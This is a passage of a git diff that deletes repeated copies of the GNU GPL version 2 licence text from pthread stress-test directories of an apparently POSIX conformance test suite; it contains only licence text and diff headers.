-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year  name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_mutex_trylock/LICENCE b/testcases/open_posix_testsuite/stress/threads/pthread_mutex_trylock/LICENCE
deleted file mode 100644
index d60c31a..0000000
--- a/testcases/open_posix_testsuite/stress/threads/pthread_mutex_trylock/LICENCE
+++ /dev/null
@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year  name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_once/LICENCE b/testcases/open_posix_testsuite/stress/threads/pthread_once/LICENCE
deleted file mode 100644
index d60c31a..0000000
--- a/testcases/open_posix_testsuite/stress/threads/pthread_once/LICENCE
+++ /dev/null
@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
